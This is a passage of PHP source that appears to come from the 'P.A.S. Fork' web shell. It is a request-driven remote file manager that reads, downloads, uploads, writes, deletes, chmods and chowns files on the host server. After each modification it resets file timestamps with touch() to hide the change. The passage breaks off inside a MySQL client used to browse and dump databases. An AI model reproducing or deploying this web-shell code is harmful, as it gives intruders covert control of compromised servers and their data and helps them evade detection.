            if ($v = dir($p)) {
                while (($i = $v->read()) !== FALSE)
                    if ($i !== '.' && $i !== '..')
                        $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
                $v->close();
                return TRUE;
            }
            if (PHP_VERSION >= '5'):
                try {
                    $v = new DirectoryIterator($p);
                }
                catch (Exception $e) {
                    $v = FALSE;
                }
                if ($v) {
                    foreach ($v as $i) {
                        $n = $i->getFileName();
                        if ($n !== '.' && $n !== '..')
                            $b ? $f($i) : $f[0]->{$f[1]}($i);
                    }
                    unset($i, $v);
                    return TRUE;
                }
                try {
                    $v = new RecursiveDirectoryIterator($p);
                }
                catch (Exception $e) {
                    $v = FALSE;
                }
                if ($v) {
                    foreach ($v as $i)
                        $b ? $f($i) : $f[0]->{$f[1]}($i);
                    unset($i, $v);
                    return TRUE;
                }
                if (PHP_VERSION >= '5.3') {
                    try {
                        $v = new FilesystemIterator($p);
                    }
                    catch (Exception $e) {
                        $v = FALSE;
                    }
                    if ($v) {
                        foreach ($v as $i)
                            $b ? $f($i) : $f[0]->{$f[1]}($i);
                        unset($i, $v);
                        return TRUE;
                    }
                }
                $v = defined('SCANDIR_SORT_NONE') ? scandir($p, SCANDIR_SORT_NONE) : scandir($p);
                if ($v !== FALSE) {
                    foreach ($v as $i)
                        if ($i !== '.' && $i !== '..')
                            $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i);
                    return TRUE;
                }
            endif;
            if (PHP_VERSION >= '4.3' && defined('GLOB_BRACE') && ($v = glob($p . DSC . '{,.}*', GLOB_NOESCAPE | GLOB_NOSORT | GLOB_BRACE))) {
                foreach ($v as $i) {
                    $n = fileName($i);
                    if ($n !== '.' && $n !== '..')
                        $b ? $f($i) : $f[0]->{$f[1]}($i);
                }
                return TRUE;
            }
            if (PHP_VERSION >= '5'):
                if (PHP_VERSION >= '5.3') {
                    try {
                        $v = new GlobIterator($p . '*');
                    }
                    catch (Exception $e) {
                        $v = FALSE;
                    }
                    if ($v && count($v) > 0) {
                        foreach ($v as $i)
                            $b ? $f($i) : $f[0]->{$f[1]}($i);
                        unset($i, $v);
                        return TRUE;
                    }
                }
            endif;
            return FALSE;
        }
        function delDir($p) {
            dirRead($p, 'delFOD');
            return rmdir($p);
        }
        function delFOD($f) {
            $f = new FileInfo($f);
            $n = $f->getFileName();
            if ($n !== '.' && $n !== '..')
                return (!$f->isLink() && $f->isDir()) ? delDir($f->getPathName()) : delFile($f->getPathName());
        }
        function isInt($v) {
            return (string) $v === (string) (int) $v;
        }
        function jsonFileInfo($f, $b) {
            echo '[';
            jsonEcho($b ? $f->getPathName() : $f->getFileName());
            echo ',', $f->isDir() ? 'null' : $f->getSize(), ',', (TM ? $f->getCTime() : $f->getMTime()), ',', $f->getMode(), ',"', $f->getPerms(), '"';
            if (NIX) {
                echo ',', $f->getOwner(), ',', $f->getGroup();
                if ($b) {
                    echo ',';
                    jsonEcho(uName($f->getOwner()));
                    echo ',';
                    jsonEcho(gName($f->getGroup()));
                }
            }
            if ($f->isLink()) {
                echo ',';
                jsonEcho($f->getLinkTarget());
            }
            echo ']';
        }
        function outFileInfo($f, $b = NULL) {
            static $p = NULL, $o = array(), $g = array();
            if ($b === TRUE) {
                if (!NIX || count($o) === 0)
                    return;
                $b = FALSE;
                echo ',"o":{';
                foreach ($o as $k => $v) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    echo '"', $k, '":';
                    jsonEcho(uName($k));
                }
                $b = FALSE;
                echo '},"g":{';
                foreach ($g as $k => $v) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    echo '"', $k, '":';
                    jsonEcho(gName($k));
                }
                echo '}';
                return;
            }
            if ($b === FALSE) {
                $p = NULL;
                return;
            }
            if (!isset($f->fp))
                $f = new FileInfo($f);
            if ($p === $f->getPath())
                echo ',';
            else
                $p = $f->getPath();
            jsonFileInfo($f, FALSE);
            if (NIX) {
                $o[$f->getOwner()] = 1;
                $g[$f->getGroup()] = 1;
            }
        }
        function outFile($p) {

            if (preg_match('/\.gz$/i', $p)) {
                if (is_int(readgzfile($p)))
                    return TRUE;
                
                if ($v = gzopen($p)) {
                    if (!is_int(gzpassthru($v)))
                        while (!gzeof($v))
                            echo gzread($v, 1048576);
                    gzclose($v);
                    return TRUE;
                }
                
                if ($v = gzfile($p)) {
                     if (is_array($v)) {
                         foreach ($v as $i)
                            echo $i;
                        return TRUE;
                     }
                }
            }						
            if (RO && is_int(readfile($p))){
                return TRUE;
			}

            if (RO && copy($p, 'php://output'))
                return TRUE;
            
            
            if ($v = fopen($p, 'rb')) {
                if (!is_int(fpassthru($v)))
                    while (!feof($v))
                        echo fread($v, 1048576);
                fclose($v);
                return TRUE;
            }

            if (PHP_VERSION >= '5'):
                if (PHP_VERSION >= '5.1') {
                    try {
                        $v = new SplFileObject($p, 'rb');
                    }
                    catch (Exception $e) {
                        $v = FALSE;
                    }
                    if ($v) {
                        if (!is_int($v->fpassthru()))
                            while (!$v->eof())
                                echo $v->fgets();
                        unset($v);
                        return TRUE;
                    }
                }
            endif;
            if (PHP_VERSION >= '4.3') {
                $v = file_get_contents($p);
                if (is_string($v)) {
                    echo $v;
                    return TRUE;
                }
            }
            $v = file($p);
            if (is_array($v)) {
                foreach ($v as $i)
                    echo $i;
                return TRUE;
            }

            return FALSE;
        }
        if (isset($D['s'])) {
            $a = array();
            $e = '{"e":"You have syntax error in %s pattern"}';
            if (isset($D['n'])) {
                if (isset($D['w'])) {
                    $r = '#^';
                    $c = '';
                    $p = '';
                    $q = 0;
                    $b = FALSE;
                    for ($i = 0, $l = strlen($D['n']); $i < $l; ++$i) {
                        $c = $D['n'][$i];
                        if ($q > 0 && $c !== '?') {
                            $r .= '.';
                            if ($q > 1)
                                $r .= '{' . $q . '}';
                            $q = 0;
                        }
                        switch ($c) {
                            case '*':
                                if ($c !== $p)
                                    $r .= '.*';
                                break;
                            case '?':
                                ++$q;
                                break;
                            case '\\':
                                if ($i + 1 >= $l)
                                    sDie(sprintf($e, 'name'));
                                $r .= $c . $D['n'][++$i];
                                break;
                            case '[':
                                ++$b;
                                $r .= $c;
                                break;
                            case ']':
                                --$b;
                                $r .= $c;
                                break;
                            case '-':
                                $r .= $b > 0 ? $c : '\\-';
                                break;
                            case '!':
                                $r .= $p === '[' ? '^' : '\\!';
                                break;
                            default:
                                $r .= addcslashes($c, '.+^$(){}=<>|:#');
                                break;
                        }
                        $p = $c;
                    }
                    if ($q > 0) {
                        $r .= '.';
                        if ($q > 1)
                            $r .= '{' . $q . '}';
                    }
                    $r .= '$#';
                    if (isset($D['i']))
                        $r .= 'i';
                    if (preg_match($r, '') === FALSE)
                        sDie(sprintf($e, 'name'));
                    $a['r'] = $r;
                } elseif (isset($D['i']))
                    $a['i'] = $D['n'];
                else
                    $a['n'] = $D['n'];
            }
            if (isset($D['t'])) {
                if (isset($D['x'])) {
                    if (preg_match('#' . $D['x'] . '#', '') === FALSE)
                        sDie(sprintf($e, 'text'));
                    $a['x'] = '#' . $D['t'] . '#';
                    if (isset($D['v']))
                        $a['x'] .= 'i';
                } elseif (isset($D['v']))
                    $a['v'] = $D['t'];
                else
                    $a['t'] = $D['t'];
            }
            $i = array(
                'l',
                'd',
                'y',
                'p',
                'u'
            );
            foreach ($i as $k)
                if (isset($D[$k]))
                    $a[$k] = (int) $D[$k];
            $i = array(
                'o',
                'g',
                'z'
            );
            foreach ($i as $k)
                if (isset($D[$k])) {
                    $s = explode(',', $D[$k]);
                    foreach ($s as $n => $v)
                        if (strpos($v, '-')) {
                            $v         = explode('-', $v, 2);
                            $a[$k][$n] = array(
                                (int) $v[0],
                                (int) $v[1]
                            );
                        } else
                            switch (substr(trim($v), 0, 1)) {
                                case '>':
                                    $a[$k][$n][0] = (int) substr(trim($v), 1);
                                    break;
                                case '<':
                                    $a[$k][$n][1] = (int) substr(trim($v), 1);
                                    break;
                                default:
                                    $a[$k][$n] = (int) $v;
                                    break;
                            }
                }
            $i = array(
                'e',
                'm'
            );
            foreach ($i as $k)
                if (isset($D[$k])) {
                    $s = explode(',', $D[$k]);
                    foreach ($s as $n => $v)
                        if (strpos(' - ', $v)) {
                            $v         = explode(' - ', $v, 2);
                            $a[$k][$n] = array(
                                strtotime(trim($v[0]) . 'UTC'),
                                strtotime(trim($v[1]) . 'UTC')
                            );
                        } else
                            switch (substr(trim($v), 0, 1)) {
                                case '>':
                                    $a[$k][$n][0] = strtotime(substr(trim($v), 1) . 'UTC');
                                    break;
                                case '<':
                                    $a[$k][$n][1] = strtotime(substr(trim($v), 1) . 'UTC');
                                    break;
                                default:
                                    $a[$k][$n] = strtotime(trim($v) . 'UTC');
                                    break;
                            }
                }
            $s = new Searcher($a);
            foreach ($D['s'] as $v)
                $s->search($v);
            $s->finish();
        }
        if (isset($D['g'])) {
            if ($D['g'] === '~' || $D['g'] === '')
                $D['g'] = selfPath();
            $i = new FileInfo($D['g']);
            if (substr($D['g'], -1) === DSC || $i->isDir()) {
                echo '{"p":';
                if (substr($D['g'], -1) !== DSC)
                    $D['g'] .= DSC;
                jsonEcho($D['g']);
                echo ',"m":', $i->getMode(), ',"f":[';
                dirRead($i->getPathName(), 'outFileInfo');
                echo ']';
                outFileInfo(NULL, TRUE);
                sDie('}');
            }
            echo "\x01\x02";
            $b = outFile($D['g']);
            echo "\x03\x1E";
            if ($b) {
                echo "\x06[";
                jsonEcho($D['g']);
                echo ',', $i->getMode(), ']';
            } else
                echo "\x15", $D['g'];
            sDie("\x17\x04\x10");
        }
        if (isset($D['i'])) {
            jsonFileInfo(new FileInfo($D['i']), TRUE);
            sDie();
        }
        if (isset($D['h'])) {
            echo '{';
            $a = array();
            $t = array();
            $e = array();
            $b = NULL;
            $m = count($D['h']) > 1;
            if ($m && isset($D['p']) && substr($D['p'], -1) !== DSC)
                $D['p'] .= DSC;
            if (isset($D['t']))
                $D['t'] = strtotime($D['t'] . 'UTC');
            if (isset($D['e']))
                $D['e'] = intval($D['e'], 8);
            if (isset($D['r']) && isInt($D['r']))
                $D['r'] = (int) $D['r'];
            if (isset($D['o']) && isInt($D['o']))
                $D['o'] = (int) $D['o'];
            sort($D['h']);
            foreach ($D['h'] as $v) {
                if (isset($D['p'])) {
                    parsePath($v, $s, $n);
                    if ($m) {
                        $d = $D['p'];
                        $p = $d . $n;
                    } else {
                        $d = filePath($D['p']);
                        $p = $D['p'];
                    }
                    $c = array();
                    if (!isset($t[$s])) {
                        $i = new FileInfo($s);
                        $i = $i->getMTime();
                        if ($i)
                            $c[$s] = $i;
                    }
                    if (!isset($t[$d])) {
                        $i = new FileInfo($d);
                        $i = $i->getMTime();
                        if ($i)
                            $c[$d] = $i;
                    } else
                        $i = $t[$d];
                    if (!isset($D['t']) && $i)
                        $c[$p] = $i;
                    if (rename($v, $p)) {
                        if ($s !== $b) {
                            echo $b === NULL ? '"r":[' : ']},';
                            echo '{"p":';
                            jsonEcho($s);
                            echo ',"f":[';
                            $b = $s;
                        } else
                            echo ',';
                        jsonEcho($n);
                        $t += $c;
                        $v     = $p;
                        $a[$p] = 1;
                    } else
                        $e[$v][] = 'path';
                }
                if (isset($D['t'])) {
                    if (touch($v, $D['t']))
                        $a[$v] = 1;
                    else
                        $e[$v][] = 'modified date';
                }
                if (isset($D['e'])) {
                    if (chmod($v, $D['e']))
                        $a[$v] = 1;
                    else
                        $e[$v][] = 'permission';
                }
                if (isset($D['r'])) {
                    if (chgrp($v, $D['r']))
                        $a[$v] = 1;
                    else
                        $e[$v][] = 'group';
                }
                if (isset($D['o'])) {
                    if (chown($v, $D['o']))
                        $a[$v] = 1;
                    else
                        $e[$v][] = 'owner';
                }
            }
            $b = $b !== NULL;
            if ($b)
                echo ']}]';
            if (count($a) > 0) {
                if ($b)
                    echo ',';
                else
                    $b = TRUE;
                echo '"c":[{"p":';
                foreach ($t as $k => $v)
                    touch($k, $v);
                clearstatcache();
                ksort($a);
                $p = NULL;
                foreach ($a as $v => $k) {
                    $k = filePath($v);
                    if ($k !== $p) {
                        if ($p !== NULL)
                            echo ']},{"p":';
                        jsonEcho($k);
                        echo ',"f":[';
                        $p = $k;
                    }
                    outFileInfo($v);
                }
                echo ']}]';
                outFileInfo(NULL, TRUE);
            }
            if ($e) {
                if ($b)
                    echo ',';
                $b = FALSE;
                echo '"e":[';
                foreach ($e as $k => $v) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    jsonEcho(implode(', ', $v) . ' for ' . $k);
                }
                echo ']';
            }
            sDie('}');
        }
        if (isset($D['d'])) {
            if (is_array($D['d'])) {
                $v = new PZIP();
                $v->init($D['DBP']);
                foreach ($D['d'] as $i)
                    $v->addPath($i);
                $v->close();
            }
            $v = new FileInfo($D['d']);
            if ($v->isDir()) {
                $v = new PZIP();
                $v->init($D['d']);
                $v->addPath($D['d']);
                $v->close();
            }
            if (outFile($D['d']) || defined('CED'))
                sDie();
            header('Content-Disposition: inline');
            header('Content-Type: application/json; charset=' . CSE);
            sDie('0');
        }
        if (isset($D['u'])) {
            echo '{';
            $a = array();
            $e = array();
            $b = FALSE;
            $k = NULL;
            sort($D['u']);
            foreach ($D['u'] as $v) {
                parsePath($v, $p, $n);
                if (!isset($a[$p])) {
                    $t = new FileInfo($p);
                    $t = $t->getMTime();
                } else
                    $t = FALSE;
                if (delFOD($v)) {
                    if ($t)
                        $a[$p] = $t;
                    if (!$b) {
                        echo '"r":[';
                        $b = TRUE;
                    }
                    if ($p !== $k) {
                        if ($k !== NULL)
                            echo ']},';
                        echo '{"p":';
                        jsonEcho($p);
                        echo ',"f":[';
                        $k = $p;
                    } else
                        echo ',';
                    jsonEcho($n);
                } else
                    $e[] = $v;
            }
            if ($b)
                echo ']}]';
            if ($e) {
                if ($b)
                    echo ',';
                echo '"e":[';
                foreach ($e as $k => $v) {
                    if ($k > 0)
                        echo ',';
                    jsonEcho($v);
                }
                echo ']';
            }
            foreach ($a as $k => $v)
                touch($k, $v);
            sDie('}');
        }
        if (!empty($_FILES['f']) || !empty($_REQUEST['f'])) {
			
			if(is_array($_REQUEST['f']) && !isset($_FILES['f'])){
				foreach ($_REQUEST['f'] as $k => $v) {
					$_FILES['f']['name'][$k] = basename(key($v));
					$_FILES['f']['tmp_name'][$k] = $v[$_FILES['f']['name'][$k]];
					$_FILES['f']['error'][$k] = 0;
				}
			}
			
		    echo '{';
		    $a = array();
		    $b = FALSE;
		    $i = new FileInfo($D['p']);
		    $i = $i->getMTime();
		    foreach ($_FILES['f']['error'] as $k => $v) {
		        $n = $_FILES['f']['name'][$k];
		        if ($v === 0) {
		            $p = $D['p'] . $n;
		            $t = $_FILES['f']['tmp_name'][$k];
		            if (move_uploaded_file($t, $p) || rename($t, $p) || copy($t, $p) || link($t, $p) || (is_string($c = getFile($t)) && writeFile($p, $c)) || ($t[0] === 'd' && writeFile($p, base64_decode(substr(strrchr($t, ','), 1))))) {
		                $a[] = $n;
		                if ($i)
		                    touch($p, $i);
		                continue;
		            }
		        }
		        if ($b)
		            echo ',';
		        else {
		            $b = TRUE;
		            echo '"e":[';
		        }
		        jsonEcho($v . $n);
		    }
		    if ($b)
		        echo ']';
		    if (count($a) > 0) {
		        if ($i) {
		            touch($D['p'], $i);
		            clearstatcache();
		        }
		        if ($b)
		            echo ',';
		        echo '"p":';
		        jsonEcho($D['p']);
		        echo ',"f":[';
		        foreach ($a as $v)
		            outFileInfo($D['p'] . $v);
		        echo ']';
		        outFileInfo(NULL, TRUE);
		    }
		    sDie('}');
		}
        if (isset($D['w'])) {
            $a = array();
            if (is_file($D['w']) || file_exists($D['w'])) {
                $i = new FileInfo($D['w']);
                if ($i->isDir())
                    sDie('{"e":"(path already exists as directory)"}');
            } else {
                $p     = filePath($D['w']);
                $i     = new FileInfo($p);
                $a[$p] = $i->getMTime();
            }
            $a[$D['w']] = $i->getMTime();
            switch ($D['e']) {
                case 0:
                    $v = "\r\n";
                    break;
                case 1:
                    $v = "\n";
                    break;
                case 2:
                    $v = "\r";
                    break;
            }
            $D['t'] = strtr($D['t'], array(
                "\r\n" => $v,
                "\r" => $v,
                "\n" => $v
            ));
            if (writeFile($D['w'], $D['t'])) {
				
				if(function_exists('opcache_invalidate')) opcache_invalidate($D['w'], true);
				
                foreach ($a as $k => $v)
                    if ($v)
                        touch($k, $v);
                clearstatcache();
                $i = new FileInfo($D['w']);
                echo "\x01\x02";
                $b = outFile($D['w']);
                echo "\x03\x1E";
                if ($b) {
                    echo "\x06";
                    jsonFileInfo($i, TRUE);
                } else
                    echo "\x15", $D['w'];
                sDie("\x17\x04\x10");
            }
            sDie('{"e":""}');
        }
        if (isset($D['l'])) {
            $p = filePath($D['l']);
            $t = new FileInfo($p);
            $t = $t->getMTime();
            if ($D['t'] == 0 ? symlink($D['p'], $D['l']) : link($D['p'], $D['l'])) {
                if ($t) {
                    if ($D['t'] != 0)
                        touch($D['l'], $t);
                    touch($p, $t);
                    clearstatcache();
                }
                jsonFileInfo(new FileInfo($D['l']), TRUE);
                sDie();
            }
            sDie('{"e":""}');
        }
        if (isset($D['m'])) {
            if (is_file($D['m']) || is_dir($D['m']) || file_exists($D['m']))
                sDie('{"e":"(path already exists)"}');
            $p = filePath($D['m']);
            $i = new FileInfo($p);
            $i = $i->getMTime();
            if (mkdir($D['m'], 0755)) {
                if ($i) {
                    touch($D['m'], $i);
                    touch($p, $i);
                    clearstatcache();
                }
                jsonFileInfo(new FileInfo($D['m']), TRUE);
                sDie();
            }
            sDie('{"e":""}');
        }
        if (isset($D['f'])) {
            echo '{';
            $a = array();
            $m = array();
            $c = array();
            $b = FALSE;
            $t = new FileInfo($D['f']);
            $t = $t->getMTime();
            if (isset($D['v']))
                foreach ($D['v'] as $v) {
                    $i = new FileInfo($v);
                    $j = $i->getMTime();
                    $f = $D['f'] . $i->getFileName();
                    $s = $i->getPath();
                    if (!isset($a[$s])) {
                        $n = new FileInfo($s);
                        $n = $n->getMTime();
                    } else
                        $n = FALSE;
                    if (rename($v, $f)) {
                        if ($n)
                            $a[$s] = $n;
                        if ($j)
                            $a[$f] = $j;
                        $m[$s][] = $i->getFileName();
                    } else {
                        if ($b)
                            echo ',';
                        else {
                            echo '"e":[';
                            $b = TRUE;
                        }
                        jsonEcho($v);
                    }
                }
            if (isset($D['p']))
                foreach ($D['p'] as $v) {
                    $i = new FileInfo($v);
                    $f = $D['f'] . $i->getFileName();
                    if (copy($v, $f) || link($v, $f) || (!$i->isDir() && is_string($s = getFile($v)) && writeFile($f, $s))) {
                        $v = $i->getMTime();
                        if ($v)
                            $a[$f] = $v;
                        $c[] = $i->getFileName();
                    } else {
                        if ($b)
                            echo ',';
                        else {
                            echo '"e":[';
                            $b = TRUE;
                        }
                        jsonEcho($v);
                    }
                }
            if ($b)
                echo ']';
            if (count($m) > 0 || count($c) > 0) {
                foreach ($a as $k => $v)
                    touch($k, $v);
                if ($t)
                    touch($D['f'], $t);
                clearstatcache();
                if ($b)
                    echo ',';
                echo '"p":';
                jsonEcho($D['f']);
                if (count($m) > 0) {
                    echo ',"m":[';
                    $b = FALSE;
                    foreach ($m as $k => $a) {
                        if ($b)
                            echo ',';
                        else
                            $b = TRUE;
                        echo '{"p":';
                        jsonEcho($k);
                        outFileInfo(NULL, FALSE);
                        echo ',"f":[';
                        foreach ($a as $v)
                            outFileInfo($D['f'] . $v);
                        echo ']}';
                    }
                    echo ']';
                }
                if (count($c) > 0) {
                    echo ',"c":[';
                    $b = FALSE;
                    foreach ($c as $v)
                        outFileInfo($D['f'] . $v);
                    echo ']';
                }
                outFileInfo(NULL, TRUE);
            }
            sDie('}');
        }
        break;
    case 's':
        define('T_DMPHDR', "-- \n-- This SQL dump created by P.A.S. Fork v." . VER . "\n-- \n-- Started at %s UTC\n");
        define('T_DMPFTR', "-- Finished at %s UTC");
        define('E_SLCTDT', "Can't load data from table %s\n");
        define('E_CNSTCS', "Can't construct create statement for table %s\n");
        define('E_CHNGDB', "Can't change database to %s for dump table %s.%s\n");
        class SQLBase {
            var $_cnct, $_res;
            function connError($m, $h, $u, $p, $b) {
                echo '{"e":';
                jsonEcho($m ? $m : "Can't connect to SQL server" . ($h === NULL ? '' : ' ' . $h) . ($u === NULL ? '' : ' as user "' . $u . '"') . ($p === NULL ? '' : ' with password "' . $p . '"') . ($b === NULL ? '' : ' and select database "' . $b . '"') . '.');
                sDie('}');
            }
            function getError() {
                $v = $this->_cnct->errorInfo();
                return $v[2];
            }
            function tryQueries($a) {
                $i = $this->_cnct;
                foreach ($a as $v)
                    if ($this->_res = $i->query($v))
                        return TRUE;
                return FALSE;
            }
            function fetchAssoc() {
                return $this->_res->fetch(PDO::FETCH_ASSOC);
            }
            function fetchRow() {
                return $this->_res->fetch(PDO::FETCH_NUM);
            }
            function query($v) {
                return ($this->_res = $this->_cnct->query($v));
            }
            function fetchBase() {
                return $this->_res->fetchColumn(0);
            }
            function fetchTable() {
                return $this->_res->fetchColumn(0);
            }
            function getColumnsNames($v) {
                $a = array();
                if (($v = $this->_cnct->query('SELECT * FROM ' . $v . ' LIMIT 1')) && ($v = $v->fetch(PDO::FETCH_ASSOC))) {
                    foreach ($v as $k => $i)
                        $a[$k] = '';
                    return $a;
                }
                return FALSE;
            }
            function sqlTableSize($v) {
                return ($v = $this->_cnct->query('SELECT COUNT(*) FROM ' . $v)) ? $v->fetchColumn(0) : '"?"';
            }
            function close() {
                $this->_cnct = NULL;
            }
        }
        function sqlJoinColumns($a, $f) {
            if ($a) {
                foreach ($a as $k => $v)
                    $a[$k] = $f($v);
                return implode(',', $a);
            }
            return '*';
        }
        function sqlOutCreate($t, $c, $d, $f) {
            echo "\nCREATE TABLE ", $f($t), " (\n";
            $b = FALSE;
            foreach ($c as $k => $v) {
                if ($b)
                    echo ",\n";
                else
                    $b = TRUE;
                echo '  ', $f($k), ' ', $v ? $v : $d;
            }
            echo "\n);\n";
        }
        function sqlOutInsert($t, $c) {
            echo "\nINSERT INTO ", $t;
            if ($c !== '*')
                echo ' (', $c, ')';
            echo ' VALUES';
        }
        function sqlOutValues($a, $f) {
            echo "\n(";
            $b = FALSE;
            foreach ($a as $v) {
                if ($b)
                    echo ',';
                else
                    $b = TRUE;
                if ($v === NULL)
                    echo 'NULL';
                else
                    echo $f($v);
            }
            echo ')';
        }
        function csvOutValues($a) {
            $c = 0;
            $b = FALSE;
            foreach ($a as $v) {
                if ($b)
                    echo ';';
                else
                    $b = TRUE;
                if ($v === NULL)
                    echo '\N';
                else {
                    $v = str_replace(array(
                        '"',
                        ';',
                        "\r",
                        "\n"
                    ), array(
                        '""',
                        ';',
                        '\r',
                        '\n'
                    ), $v, $c);
                    echo $c > 0 ? '"' . $v . '"' : $v;
                }
            }
        }
        function mysqlEscData($v) {
            return "'" . str_replace(array(
                '\\',
                "'",
                '"',
                "\0",
                "\n",
                "\r",
                "\x1A"
            ), array(
                '\\\\',
                "\\'",
                '\\"',
                '\\0',
                '\\n',
                '\\r',
                '\\Z'
            ), $v) . "'";
        }
        function mysqlEscName() {
            $a = func_get_args();
            foreach ($a as $k => $v)
                $a[$k] = '`' . str_replace('`', '``', $v) . '`';
            return implode('.', $a);
        }
        class MySQLBase extends SQLBase {
            var $haveSchemas = FALSE, $canPaginate = TRUE;
            function charset($k) {
                $v = array(
                    'utf8',
                    'utf16',
                    'cp1250',
                    'cp1251',
                    'latin1',
                    'latin5',
                    'cp1256',
                    'cp1257',
                    'latin1',
                    'latin2',
                    'greek',
                    'hebrew',
                    'latin5',
                    'latin7',
                    'big5',
                    'gbk',
                    'sjis',
                    'euckr',
                    'ujis',
                    'cp866',
                    'koi8r',
                    'koi8u'
                );
                return isset($v[$k]) ? $v[$k] : 'utf8';
            }
            function parseCrtTbl($v) {
                $a = array();
                $n = '`((?:[^`]|``)+)`';
                $l = ' \(((?:`(?:[^`]|``)+`,?)+)\)';
                $t = '(?: USING (?:BTREE|HASH))?';
                $c = '(?:\s+CONSTRAINT(?: `(?:[^`]|``)+)`)?\s+';
                $e = '(`(?:[^`]|``)+`)';
                preg_match_all('#^\s+' . $n . ' ([a-z]+)((?:\(| ).+)?,?$#Um', $v, $m);
                foreach ($m[1] as $k => $i)
                    $a[$i] = strtoupper($m[2][$k]) . $m[3][$k];
                if (preg_match('#^' . $c . 'PRIMARY KEY' . $t . $l . '.*$#Um', $v, $m)) {
                    preg_match_all('#' . $n . '#', $m[1], $m);
                    foreach ($m[1] as $i)
                        $a[$i] .= ', PRIMARY KEY';
                }
                if (preg_match_all('#^\s+(?:INDEX|KEY)(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m))
                    foreach ($m[1] as $i => $k) {
                        if ($k !== '')
                            $k = ' ' . $k;
                        preg_match_all('#' . $n . '#', $m[2][$i], $r);
                        foreach ($r[1] as $i)
                            $a[$i] .= ', KEY' . $k;
                    }
                if (preg_match_all('#^' . $c . 'UNIQUE(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $t . $l . '.*$#Um', $v, $m))
                    foreach ($m[1] as $i => $k) {
                        if ($k !== '')
                            $k = ' ' . $k;
                        preg_match_all('#' . $n . '#', $m[2][$i], $r);
                        foreach ($r[1] as $i)
                            $a[$i] .= ', UNIQUE KEY' . $k;
                    }
                if (preg_match_all('#^\s+(?:FULLTEXT|SPATIAL)(?: (?:INDEX|KEY))?(?: ' . $e . ')?' . $l . '.*$#Um', $v, $m))
                    foreach ($m[1] as $i => $k) {
                        if ($k !== '')
                            $k = ' ' . $k;
                        preg_match_all('#' . $n . '#', $m[2][$i], $r);
                        foreach ($r[1] as $i)
                            $a[$i] .= ', FULLTEXT KEY' . $k;
                    }
                if (preg_match_all('#^' . $c . 'FOREIGN KEY(?: ' . $e . ')?' . $l . ' REFERENCES (`(?:[^`]|``)+` \((?:`(?:[^`]|``)+`,?)+\)).*$#Um', $v, $m))
                    foreach ($m[1] as $i => $k) {
                        if ($k !== '')
                            $k = ' ' . $k;
                        $k .= ' ' . $m[3][$i];
                        preg_match_all('#' . $n . '#', $m[2][$i], $r);
                        foreach ($r[1] as $i)
                            $a[$i] .= ', FOREIGN KEY' . $k;
                    }
                return $a;
            }
            function prepType($v) {
                $s = ($i = strpos($v[1], '(')) ? strtoupper(substr($v[1], 0, $i)) . substr($v[1], $i) : strtoupper($v[1]);
                if ($v[2] === 'NO')
                    $s .= ' NOT NULL';
                if ($v[4] !== NULL)
                    $s .= ' DEFAULT ' . mysqlEscData($v[4]);
                if ($v[5] !== NULL)
                    $s .= ' ' . strtoupper($v[5]);
                switch ($v[3]) {
                    case 'PRI':
                        $s .= ' PRIMARY KEY';
                        break;
                    case 'UNI':
                        $s .= ' UNIQUE KEY';
                        break;
                    case 'MUL':
                        $s .= ', KEY(' . mysqlEscName($v[0]) . ')';
                        break;
                }
                return $s;
            }
            function getBases() {
                return $this->tryQueries(array(
                    'SHOW DATABASES',
                    'SHOW SCHEMAS',
                    'SELECT schema_name FROM information_schema.schemata',
                    'SELECT DISTINCT table_schema FROM information_schema.tables',
                    'SELECT DISTINCT table_schema FROM information_schema.columns'
                ));
            }
            function getTables($b) {
                $v = mysqlEscData($b);
                return $this->tryQueries(array(
                    'SHOW TABLES FROM ' . mysqlEscName($b),
                    'SELECT table_name FROM information_schema.tables WHERE table_schema=' . $v,
                    'SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema=' . $v
                ));
            }
            function getColumns($b, $t) {
                $a = array();
                $e = mysqlEscName($b, $t);
                if ($this->tryQueries(array(
                    'SHOW COLUMNS FROM ' . $e,
                    'SHOW FIELDS FROM ' . $e,
                    'DESC ' . $e,
                    'DESCRIBE ' . $e,
                    'SELECT column_name,column_type,is_nullable,column_key,column_default,extra FROM information_schema.columns WHERE table_name=' . mysqlEscData($t) . ' AND table_schema=' . mysqlEscData($b)
                ))) {
                    while ($v = $this->fetchRow())
                        $a[$v[0]] = $this->prepType($v);
                    return $a;
                }
                if ($this->query('SHOW CREATE TABLE ' . $e) && ($v = $this->fetchRow()))
                    return $this->parseCrtTbl($v[1]);
                return $a;
            }
            function select($b, $t, $c, $o, $l) {
                return $this->query('SELECT ' . sqlJoinColumns($c, 'mysqlEscName') . ' FROM ' . mysqlEscName($b, $t) . ' LIMIT ' . $o . ',' . $l);
            }
            function outCreateTable($b, $t) {
                if ($this->query('SHOW CREATE TABLE ' . mysqlEscName($b, $t)) && ($v = $this->fetchRow())) {
                    echo "\n", $v[1], ";\n";
                    return '';
                }
                if ($v = $this->getColumns($b, $t)) {
                    sqlOutCreate($t, $v, 'BLOB', 'mysqlEscName');
                    return '';
                }
                return sprintf(E_CNSTCS, $b . '.' . $t);
            }
        }
        class MySQLClient extends MySQLBase {
            function connect($h, $u, $p, $b, $c) {
                if (!($this->_cnct = mysql_connect($h, $u, $p)))
                    return FALSE;
                mysql_query('SET NAMES ' . $this->charset($c), $this->_cnct);
                if ($b !== NULL && !mysql_select_db($b, $this->_cnct))
                    return mysql_query('USE ' . mysqlEscName($b), $this->_cnct);
                return TRUE;
            }
            function getError() {
                if ($this->_cnct) {
                    $v = mysql_error($this->_cnct);
                    mysql_close($this->_cnct);
                    return $v;
                }
                return mysql_error();
            }
            function tryQueries($a) {
                foreach ($a as $v)
                    if ($this->_res = mysql_query($v, $this->_cnct))
                        return TRUE;
                return FALSE;
            }
            function getBases() {
                return (($this->_res = mysql_list_dbs($this->_cnct)) || parent::getBases());
            }
            function fetchBase() {
                return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function fetchTable() {
                return ($v = mysql_fetch_row($this->_res)) ? $v[0] : FALSE;
            }
            function getTables($b) {
                return (($this->_res = mysql_list_tables($b, $this->_cnct)) || parent::getTables($b));
            }
            function getTableSize($b, $t) {
